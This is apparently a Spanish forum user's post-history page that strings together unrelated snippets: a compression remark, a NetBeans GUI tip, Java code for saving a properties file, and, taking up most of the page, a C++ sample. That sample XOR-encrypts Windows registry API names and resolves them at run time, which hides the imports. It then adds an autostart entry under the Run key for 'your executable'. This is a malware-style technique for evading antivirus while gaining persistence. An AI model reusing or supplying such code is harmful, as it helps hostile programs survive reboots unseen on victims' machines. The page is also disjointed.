Muy útil AmeRiK@nO, quería implementarlo para probar su efectividad con imágenes bmp y bueno... no es muy útil (rebaja unos pocos kb, con png engorda xD), pero por lo menos no lo he implementado para nada, muchas gracias, le echaré un ojo al source 
				
			
				Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes Menú
				Citar
How Do I create an Array of GUI Controls in the NetBeans GUI Builder?
There is no IDE action dedicated to that. If the number of controls (the length of the array) is static, and you need the array only to loop over the controls, try this:
Add all components manually (via drag and drop). Then create an array in code and fill it with all the component variables.

# Si ya está configurada la aplicación
IS_CONFIG=FALSE
# El idioma seleccionado
LANGUAGE=es
# Mas campos...
    public void saveIsConfigurado(boolean isConfig) throws IOException
    {
        // Cargamos el archivo properties
        Properties prop = new Properties();
        prop.load(getUrl(ARCHIVO_CONFIGURACION).openStream());
        // Ponemos si está o no configurado
        if(isConfig)
            prop.setProperty(IS_CONFIG, TRUE);
        else
            prop.setProperty(IS_CONFIG, FALSE);
        // Guardamos el archivo
        FileOutputStream fos = new FileOutputStream(getUrl(ARCHIVO_CONFIGURACION).getFile());
        prop.store(fos, ARCHIVO_CONFIGURACION);
    }Citar
/home/e0n/.../nombre jar!/resources/config/config.properties (No such file or directory)

#include "EncryptApi.hpp"
void xor(char *str, const char *clave, const int tamStr, const int tamClave)
{
	for(int n=0; n<=tamStr; n++)
		str[n] ^= clave[n%tamClave];
}
void main()
{
	const char key[] = "a1b2c3";
	const int  tamKey = 6;
	// advapi32.dll
	char strAdvapi32[] = { 0x0, 0x55, 0x14, 0x53, 0x13, 0x5a, 0x52, 0x3, 0x4c, 0x56, 0xf, 0x5f, 0x61 };
	// RegOpenKeyExA
	char strRegOpenKeyEx[] = { 0x33, 0x54, 0x5, 0x7d, 0x13, 0x56, 0xf, 0x7a, 0x7, 0x4b, 0x26, 0x4b, 0x20, 0x31 };
	// RegSetValueExA
	char strRegSetValueEx[] = { 0x33, 0x54, 0x5, 0x61, 0x6, 0x47, 0x37, 0x50, 0xe, 0x47, 0x6, 0x76, 0x19, 0x70, 0x62 };
	// RegCloseKey
	char strRegCloseKey[] = { 0x33, 0x54, 0x5, 0x71, 0xf, 0x5c, 0x12, 0x54, 0x29, 0x57, 0x1a, 0x33 };
	// Software\Microsoft\Windows\CurrentVersion\Run
	char strRutaReg[] = { 0x32, 0x5e, 0x4, 0x46, 0x14, 0x52, 0x13, 0x54, 0x3e, 0x7f, 0xa, 0x50, 0x13, 0x5e, 
		                  0x11, 0x5d, 0x5, 0x47, 0x3d, 0x66, 0xb, 0x5c, 0x7, 0x5c, 0x16, 0x42, 0x3e, 0x71, 
					      0x16, 0x41, 0x13, 0x54, 0xc, 0x46, 0x35, 0x56, 0x13, 0x42, 0xb, 0x5d, 0xd, 0x6f, 
						  0x33, 0x44, 0xc, 0x32 };
		
	// desciframos
	xor(strAdvapi32, key, sizeof(strAdvapi32)-1, tamKey);
	xor(strRegOpenKeyEx, key, sizeof(strRegOpenKeyEx)-1, tamKey);
	xor(strRegSetValueEx, key, sizeof(strRegSetValueEx)-1, tamKey);
	xor(strRegCloseKey, key, sizeof(strRegCloseKey)-1, tamKey);
	xor(strRutaReg, key, sizeof(strRutaReg)-1, tamKey);
	// Apis
	EncryptApi<LONG>  myRegOpenKeyEx  (strRegOpenKeyEx,  strAdvapi32, 5);
	EncryptApi<LONG>  myRegSetValueEx (strRegSetValueEx, strAdvapi32, 2);
	EncryptApi<LONG>  myRegCloseKey   (strRegCloseKey,   strAdvapi32, 5);
	// Código
	HKEY hkey;
	myRegOpenKeyEx(5, HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hkey);
	myRegSetValueEx(6, hkey,"Nombre_clave",0,REG_SZ,(const BYTE*)"ruta de tu ejecutable",sizeof("ruta de tu ejecutable"));
	myRegCloseKey(1, hkey);
	/*
	Código sin cifrar:
	---------------------
	HKEY hkey;
	RegOpenKeyExA(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hkey);
	RegSetValueExA(hkey,"Nombre_clave",0,REG_SZ,(const BYTE*)"ruta de tu ejecutable",sizeof("ruta de tu ejecutable"));
	RegCloseKey(hkey);*/
}